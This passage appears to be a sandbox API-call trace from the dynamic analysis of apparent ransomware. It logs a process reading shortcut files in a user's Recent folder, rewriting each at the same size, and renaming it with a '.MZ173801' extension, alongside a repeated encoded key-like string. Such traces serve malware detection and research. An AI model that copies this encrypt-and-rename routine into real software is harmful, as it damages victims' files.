lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osw2Nhv0uI-g.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osw2nhv0ui-g.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.811] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.811] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.811] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1465 [0121.811] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.811] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1465, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1465, lpOverlapped=0x0) returned 1 [0121.812] CloseHandle (hObject=0x288) returned 1 [0121.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osw2Nhv0uI-g.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osw2nhv0ui-g.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.814] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1465, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1465, lpOverlapped=0x0) returned 1 [0121.815] CloseHandle (hObject=0x288) returned 1 [0121.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osw2Nhv0uI-g.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osw2nhv0ui-g.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osw2Nhv0uI-g.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osw2nhv0ui-g.lnk.mz173801")) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc5d360, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x195d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="OW5FfS04iwdMwwKKq4E.lnk", cAlternateFileName="OW5FFS~1.LNK")) returned 1 [0121.822] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.822] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OW5FfS04iwdMwwKKq4E.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ow5ffs04iwdmwwkkq4e.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc5d360, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x195d)) returned 1 [0121.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OW5FfS04iwdMwwKKq4E.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ow5ffs04iwdmwwkkq4e.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.827] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.827] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.827] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x195d [0121.827] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.827] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x195d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x195d, lpOverlapped=0x0) returned 1 [0121.829] CloseHandle (hObject=0x288) returned 1 [0121.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OW5FfS04iwdMwwKKq4E.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ow5ffs04iwdmwwkkq4e.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.830] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x195d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x195d, lpOverlapped=0x0) returned 1 [0121.831] CloseHandle (hObject=0x288) returned 1 [0121.832] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OW5FfS04iwdMwwKKq4E.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ow5ffs04iwdmwwkkq4e.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OW5FfS04iwdMwwKKq4E.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ow5ffs04iwdmwwkkq4e.lnk.mz173801")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="oxYAxNo4INQRTIT.lnk", cAlternateFileName="OXYAXN~1.LNK")) returned 1 [0121.834] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.834] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxYAxNo4INQRTIT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxyaxno4inqrtit.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b)) returned 1 [0121.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2